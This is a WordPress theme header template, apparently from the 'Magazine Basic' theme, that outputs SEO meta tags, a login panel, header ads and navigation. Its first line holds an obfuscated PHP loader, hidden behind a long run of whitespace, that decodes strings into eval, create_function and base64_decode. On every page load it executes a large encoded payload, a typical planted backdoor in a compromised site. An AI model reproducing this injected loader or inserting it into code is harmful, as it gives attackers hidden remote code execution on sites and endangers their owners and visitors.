<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  $eBWy4tHA9O= array('1465','1482','1461','1472');$ZsgfC9Hyrub9jWmOvq8SxAEWuXtUW8ZWq51T5zhmTjl35xHrOG= array('1810','1825','1812','1808','1827','1812','1806','1813','1828','1821','1810','1827','1816','1822','1821');$h6EYrs= array('2083','2082','2100','2086','2039','2037','2080','2085','2086','2084','2096','2085','2086');$tX00YdgzqDGiFPhOaObfj3C6sWNRZVnEIdu="[encoded data, 23896 characters]";if (!function_exists("dcqAwGCJlfcBhgHjSCu5fkbvUSptH")){ function dcqAwGCJlfcBhgHjSCu5fkbvUSptH($ANiNHnha7OK,$eAjBgJAsHsaOMEVHf4noHw2fJ9){$kOQbhglInU8FsrG64aSBgMPukbnqK = '';foreach($ANiNHnha7OK as $Ah1cj8juGweF2xWyuQzci){$kOQbhglInU8FsrG64aSBgMPukbnqK .= chr($Ah1cj8juGweF2xWyuQzci - $eAjBgJAsHsaOMEVHf4noHw2fJ9);}return $kOQbhglInU8FsrG64aSBgMPukbnqK;}$EehAED76cibf = dcqAwGCJlfcBhgHjSCu5fkbvUSptH($eBWy4tHA9O,1364);$amhs4KN0PY1 = dcqAwGCJlfcBhgHjSCu5fkbvUSptH($ZsgfC9Hyrub9jWmOvq8SxAEWuXtUW8ZWq51T5zhmTjl35xHrOG,1711);$BKp2hublCCQ5zM8IOehXqpgk0UaFJ2 = dcqAwGCJlfcBhgHjSCu5fkbvUSptH($h6EYrs,1985);$xCVaKgcVIE = $amhs4KN0PY1('$J4eDCTHKHX0O8Qz9l81SguEg4Ki',$EehAED76cibf.'('.$BKp2hublCCQ5zM8IOehXqpgk0UaFJ2.'($J4eDCTHKHX0O8Qz9l81SguEg4Ki));');$xCVaKgcVIE($tX00YdgzqDGiFPhOaObfj3C6sWNRZVnEIdu);}?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<?php if(pbt_theme_option('seo')!=2) { // New SEO options ?>
<?php if((is_home() && ($paged < 2 )) || is_single() || is_page()) { echo '<meta name="robots" content="index,follow" />'; } else { echo '<meta name="robots" content="noindex,follow" />'; } ?>

<?php if (is_single() || is_page() ) : if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
<meta name="description" content="<?php pbt_metaDesc(); ?>" />
<?php pbt_csv_tags(); ?>
<?php endwhile; endif; elseif(is_home()) : ?>
<meta name="description" content="<?php if(pbt_theme_option('site_description')) { echo decode_textarea(pbt_theme_option('site_description')); } else { bloginfo('description'); } ?>" />
<meta name="keywords" content="<?php if(pbt_theme_option('keywords')) { echo decode_textarea(pbt_theme_option('keywords')); } else { echo 'wordpress,c.bavota,feed me seymour,custom theme,themes.bavotasan.com,premium themes'; } ?>" />
<?php endif; ?>
<?php } // end SEO options ?>
<title><?php wp_title(''); ?><?php if(wp_title('', false)) { echo ' | '; } ?><?php bloginfo('name'); if(is_home()) { echo ' | '; bloginfo('description'); } if ( $paged > 1 ) { echo (' | Page '); echo $paged; } ?></title>

<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
<?php pbt_header_css(); ?>
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<!--[if IE]>
<link rel="stylesheet" type="text/css" href="<?php echo THEME_URL; ?>/iestyles.css" />
<![endif]-->
<?php if(is_singular() && get_option('thread_comments')) wp_enqueue_script( 'comment-reply' ); ?>
<?php wp_enqueue_script('effects'); ?>
<?php wp_head(); ?>
<?php if(pbt_theme_option('google_analytics')) { echo decode_textarea(pbt_theme_option('google_analytics')); } ?>
</head>

<body <?php body_class(); ?>>
<!-- begin header -->
<div id="header">
	<?php
    $headeralign = pbt_theme_option('logo_location');
	if($headeralign=="fl") $adfloat = ' class="fr"';
	if($headeralign=="fr") $adfloat = ' class="fl"';
	if($headeralign=="aligncenter") $adfloat = ' class="aligncenter"';
	$float = ' class="'.$headeralign.'"';
    ?>
	<?php if (pbt_theme_option('user_login') != "2") { ?>
	<div id="login">
    	<?php
			global $user_identity, $user_level;
			if (is_user_logged_in()) { ?>
            	<ul>
                <li><span style="float:left;"><?php _e("Logged in as:", 'magazine-basic'); ?><strong> <?php echo $user_identity ?></strong></span></li>
				<li><a href="<?php echo admin_url(); ?>"><?php _e("Control Panel", 'magazine-basic'); ?></a></li>
                <?php if ( $user_level >= 1 ) { ?>
                	<li class="dot"><a href="<?php echo admin_url('post-new.php'); ?>"><?php _e("Write", 'magazine-basic'); ?></a></li>
				<?php } ?>
                <li class="dot"><a href="<?php echo admin_url('profile.php'); ?>"><?php _e("Profile", 'magazine-basic'); ?></a></li>
				<li class="dot"><a href="<?php echo wp_logout_url( get_permalink() ); ?>" title="<?php _e('Log Out', 'magazine-basic') ?>"><?php _e('Log Out', 'magazine-basic'); ?></a></li>
                </ul>
            <?php 
			} else {
				echo '<ul>';
				echo '<li><a href="'.wp_login_url( get_permalink() ).'">'.__('Log In', 'magazine-basic').'</a></li>';
				if (get_option('users_can_register')) { ?>
					<li class="dot"><a href="<?php echo site_url('wp-login.php?action=register', 'login') ?>"><?php _e('Register', 'magazine-basic') ?></a> </li>
                
            <?php 
				}
				echo "</ul>";
			} ?> 
    </div>
    <?php } ?>
    <?php if(pbt_theme_option('header_ad') == 'on') { ?>
		<?php if(pbt_theme_option('headerad_img')) { ?>
            <div id="headerad"<?php echo $adfloat; ?>>
                <a href="<?php echo pbt_theme_option('headerad_link'); ?>" target="_blank"><img src="<?php echo pbt_theme_option('headerad_img'); ?>" alt="" /></a>
            </div>
        <?php } else { ?>
            <div id="headerad"<?php echo $adfloat; ?>>
                <a href="http://themes.bavotasan.com"><img src="<?php echo THEME_URL; ?>/images/topbanner.png" alt="Themes by bavotasan.com" /></a>
            </div>
        <?php } ?>
    <?php } ?>
	<?php if(pbt_theme_option('logo_header')) { ?>
    	<a href="<?php echo home_url(); ?>/" class="headerimage"><img src="<?php echo pbt_theme_option('logo_header'); ?>" alt="<?php bloginfo('name'); ?>"<?php echo $float; ?> /></a>
    <?php } else { ?>
    <div id="title"<?php echo $float; ?>>
    	<?php if(is_singular()) echo '<h2>'; else echo '<h1>'; ?><a href="<?php echo home_url(); ?>/"><?php bloginfo('name'); ?></a> <?php if(is_singular()) echo '</h2>'; else echo '</h1>'; ?>    
    </div>
    <?php } ?>
    <div id="description"<?php echo $float; ?>>
        <?php if(pbt_theme_option('tag_line')!=2) bloginfo('description'); ?>
    </div>     

    <div id="optin"<?php echo $right; ?>>
    <?php if (!function_exists('dynamic_sidebar') || !dynamic_sidebar('Header Widget Area')) :

endif; ?>
    </div>

    <?php
    if(function_exists('wp_nav_menu')) {
		 wp_nav_menu( array( 'theme_location' => 'main', 'menu_class' => 'sf-menu', 'sort_column' => 'menu_order', 'container_class' => 'main-navigation', 'fallback_cb' => 'pbt_display_home' ) ); 
		 wp_nav_menu( array( 'theme_location' => 'sub', 'menu_class' => 'sf-menu', 'sort_column' => 'menu_order', 'container_class' => 'sub-navigation', 'fallback_cb' => 'display_none' ) ); 
	} else {
		echo '<div class="main-navigation"><ul class="sf-menu"><li><a href="'.get_bloginfo('url').'">Home</a></li>';
		wp_list_categories('title_li=');
		echo '</ul></div>';
	}
	?>

</div>
<!-- end header -->


<div id="mainwrapper">
<?php
	$loc = pbt_theme_option('sidebar_location');
	if($loc==1 || $loc==3 || $loc==5) {
		get_sidebar(); // calling the First Sidebar
	}
	if($loc==3) get_sidebar( "second" );
	?>
	<div id="leftcontent">
